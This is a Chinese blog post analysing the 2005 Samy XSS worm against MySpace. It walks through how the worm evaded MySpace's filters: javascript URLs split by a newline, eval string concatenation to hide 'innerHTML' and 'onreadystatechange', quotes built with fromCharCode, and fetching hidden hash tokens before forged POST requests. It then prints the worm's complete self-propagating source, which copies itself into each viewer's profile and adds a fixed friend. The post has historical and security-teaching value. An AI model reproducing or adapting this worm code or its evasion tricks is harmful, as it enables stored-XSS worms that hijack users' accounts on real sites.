XSS攻击——SamyWorm 源代码分析

在2005 年,年仅19 岁的Samy Kamkar 发起了对MySpac巳.com 的XSS Worm 攻击。Samy Kamkar 的蠕虫在短短几小时内就感染了100 万用户一一它在每个用户的自我简介后边加了一句话"but most of all, Samy is my hero." (Samy 是我的偶像〉。这是Web 安全史上第一个重量级的XSS Worm ,具有里程碑意义。

以下为根据对Samy Worm分析的文章进行的格式整理,方便阅读:

  1. MySpace 过滤了很多危险的HTML 标签,只保留了<a>标签、<img>标签、<div>标签等"安全的标签"。所有的事件比如" onclick" 等也被过滤了。但是MySpace 却允许用户控制标签的style 属性,通过style ,还是有办法构造出XSS 的。比如:
<div style-"background:url('javascript:alert(l) ')">
  1. 由于在div标签中,我们已经使用了单引号和双引号,所以我们不能再在语句中使用引号。这使得编写js变得非常困难。为了能绕过它,我们使用了表达式存放js并且使用名字来执行它。例如:
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
  1. 现在我们可以使用单引号来写javascript了。然而myspace网中到处都会过滤"javascript"。 由于一些浏览器自动会把"java\nscript"(java和script间是换行符)当作"javascript" ,因此可以饶过这个问题。如:
<div id="mycode" expr="alert('hah!')" style="background:url('java 
script:eval(document.all.mycode.expr)')">
  1. 尽管我们已经能使用单引号了,但有时候我们还是需要双引号。我们可以使用转义字符, 例如, “foo"bar”. Myspace也考虑到了这一点…,他们过滤了所有的引号,不管它是单引号还是双引号。然而, 我们可以通过在javascript转换十进制为来生成引号。
<div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java 
script:eval(document.all.mycode.expr)')">
  1. 为了能把这些代码放到浏览的用户的profile中,我们需要得到这个页面的源码。嗯, 为了取得页面的源码,我们可以使用document.body.innerHTML,只需要取得访问此页面用户的ID即可。 Myspace 又一次考虑到了这些,他们在所有的地方都过滤了"innerHTML"。 为了饶过这个限制,我们使用eval() 把两个字符串拼成"innerHTML"。如:
alert(eval('document.body.inne' + 'rHTML'));
  1. 是时候访问其他页面了。我们可以使用iframes, 然而一般情况下,就算是隐藏的iframes也比较明显,但效果却不尽如人意。 因此,为了在客户端发送HTTP的GET和POST请求,我们使用AJAX (XML-HTTP)。 然而, myspace又过滤了XML-HTTP请求中必须的"onreadystatechange" 。 我们又一次使用eval来避开检查。
eval('xmlhttp.onread' + 'ystatechange = callback');
  1. 是时候在发请求取得用户的关注对象了,我们不想删除任何的关注对象,我们只想把我加到关注的列表中。 如果我们能取得profile就能稍后取得他的关注列表。通过上面列举的内容,我们很容易找到用户的ID.如同我们上面说的那样,我们能通过抓取页面上的源码来取得。然而, 现在我们需要搜索页面中的关键字,但是当我们搜索的时候,一直会返回true,比如说,我们想查页面中有没有包含’foo’,因为我们使用了这个单词,所以一直会返回true,解决的办法就是再用eval来构造,如:
var index = html.indexOf('frien' + 'dID');
  1. 此时我们已经有了关注的列表了。首先,让我们把我通过添加好友的页面中发post讲求,把我加到好友列表中。 什么?没起作用?!为什么呢?(跨域问题) 因为我们在profile.myspace.com页面上,而它需要在www.myspace.com上起作用。没什么大不了的, 只是 XML-HTTP不允许来自不同域的GET/POST。 为了解决这个问题,我们在 www.myspace.com域上使用相同URL就可以了。如:
if (location.hostname == 'profile.myspace.com') document.location = 'http://www.myspace.com' + location.pathname + location.search;
  1. 终于,我们可以发POST请求了。然而,我们发了请求,却没有加为好友,为什么呢?Myspace在每个发post请求的页面中产生了一个随机的hash (例如, “您确认添加此人为好友吗?” 页面). 如果没有在发post请求的时候带上hash,这个post便不会成功. 为了解决这个问题, 我们在发post请求之前,模仿浏览器发一个get请求,并把源文件转成hash,和post请求一起发送。
  2. 一旦post请求完成了,我们添加一个关注者并把代码添加到页面中。由于代码请求完成后,又会回到原来的页面,而发请求又需要不同的hash值,所以我们需要再发一个Get请求,根据之后得到的页面,再生成一次hash,不过,有时候URL-encoding和escape()并不一定能对所有的数据都进行转义,所以我们需要自己手工完成。
  3. 其他的限制,如最大长度,这就需要紧凑的代码,没有多余的空格、模糊的名字、可征用的函数等。

源码

<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" 
	expr="var B=String.fromCharCode(34);
    var A=String.fromCharCode(39);
    
    function g()
    {
        var C;
        try
        {
            var D=document.body.createTextRange();
            C=D.htmlText
        }
        catch(e){}
        if(C)
        {
            return C
        }
        else
        {
            return eval('document.body.inne'+'rHTML')
        }
    }
    function getData(AU)
    {
        M=getFromURL(AU,'friendID');
        L=getFromURL(AU,'Mytoken')
    }
    function getQueryParams()
    {
        var E=document.location.search;
        var F=E.substring(1,E.length).split('&');
        var AS=new Array();
        for(var O=0;O<F.length;O++)
        {
            var I=F[O].split('=');
            AS[I[0]]=I[1]
        }
        return AS
    }
    var J;
    var AS=getQueryParams();
    var L=AS['Mytoken'];
    var M=AS['friendID'];
    if(location.hostname=='profile.myspace.com')
    {
        document.location='http://www.myspace.com'+location.pathname+location.search
    }
    else
    {
        if(!M)
        {
            getData(g())
        }
        main()
    }
    function getClientFID()
    {
        return findIn(g(),'up_launchIC( '+A,A)
    }
    function nothing() {}
    function paramsToString(AV)
    {
        var N=new String();
        var O=0;
        for(var P in AV)
        {
            if(O>0)
            {
                N+='&'
            }
            var Q=escape(AV[P]);
            while(Q.indexOf('+')!=-1)
            {
                Q=Q.replace('+','%2B')
            }
            while(Q.indexOf('&')!=-1)
            {
                Q=Q.replace('&','%26')
            }
            N+=P+'='+Q;
            O++
        }
        return N
    }
    function httpSend(BH,BI,BJ,BK)
    {
        if(!J)
        {return false}
        eval('J.onr'+'eadystatechange=BI');
        J.open(BJ,BH,true);
        if(BJ=='POST')
        {
            J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
            J.setRequestHeader('Content-Length',BK.length)
        }
        J.send(BK);
        return true
    }
    function findIn(BF,BB,BC)
    {
        var R=BF.indexOf(BB)+BB.length;
        var S=BF.substring(R,R+1024);
        return S.substring(0,S.indexOf(BC))
    }
    function getHiddenParameter(BF,BG)
    {
        return findIn(BF,'name='+B+BG+B+' value='+B,B)
    }
    function getFromURL(BF,BG)
    {    
        var T;
        if(BG=='Mytoken')
        {T=B}
        else
        {T='&'}
        var U=BG+'=';
        var V=BF.indexOf(U)+U.length;
        var W=BF.substring(V,V+1024);
        var X=W.indexOf(T);
        var Y=W.substring(0,X);
        return Y
    }
    function getXMLObj()
    {
        var Z=false;
        if(window.XMLHttpRequest)
        {
            try
            {
                Z=new XMLHttpRequest()
            }
            catch(e)
            {Z=false}
        }
        else if(window.ActiveXObject)
        {
            try{
                Z=new ActiveXObject('Msxml2.XMLHTTP')
            }
            catch(e)
            {
                try
                {
                    Z=new ActiveXObject('Microsoft.XMLHTTP')
                }
                catch(e)
                {
                    Z=false
                }
            }
        }
        return Z
    }
    var AA=g();
    var AB=AA.indexOf('m'+'ycode');
    var AC=AA.substring(AB,AB+4096);
    var AD=AC.indexOf('D'+'IV');
    var AE=AC.substring(0,AD);
    var AF;
    if(AE)
    {
        AE=AE.replace('jav'+'a',A+'jav'+'a');
        AE=AE.replace('exp'+'r)','exp'+'r)'+A);
        AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'
    }
    var AG;
    function getHome()
    {
        if(J.readyState!=4)
        {return}
        var AU=J.responseText;
        AG=findIn(AU,'P'+'rofileHeroes','</td>');
        AG=AG.substring(61,AG.length);
        if(AG.indexOf('samy')==-1)
        {
            if(AF)
            {
                AG+=AF;
                var AR=getFromURL(AU,'Mytoken');
                var AS=new Array();
                AS['interestLabel']='heroes';
                AS['submit']='Preview';
                AS['interest']=AG;
                J=getXMLObj();
                httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))
            }
        }
    }
    function postHero()
    {
        if(J.readyState!=4)
        {return}
        var AU=J.responseText;
        var AR=getFromURL(AU,'Mytoken');
        var AS=new Array();AS['interestLabel']='heroes';
        AS['submit']='Submit';
        AS['interest']=AG;
        AS['hash']=getHiddenParameter(AU,'hash');
        httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))
    }
    function main()
    {
        var AN=getClientFID();
        var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;
        J=getXMLObj();
        httpSend(BH,getHome,'GET');
        xmlhttp2=getXMLObj();
        httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')
    }
    function processxForm()
    {
        if(xmlhttp2.readyState!=4)
        {return}
        var AU=xmlhttp2.responseText;
        var AQ=getHiddenParameter(AU,'hashcode');
        var AR=getFromURL(AU,'Mytoken');
        var AS=new Array();
        AS['hashcode']=AQ;
        AS['friendID']='11851658';
        AS['submit']='Add to Friends';
        httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))
    }
    function httpSend2(BH,BI,BJ,BK)
    {
        if(!xmlhttp2)
        {
        return false}eval('xmlhttp2.onr'+'eadystatechange=BI');
        xmlhttp2.open(BJ,BH,true);
        if(BJ=='POST')
        {
            xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
            xmlhttp2.setRequestHeader('Content-Length',BK.length)
        }
        
        xmlhttp2.send(BK);
        return true
    } "></DIV>
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值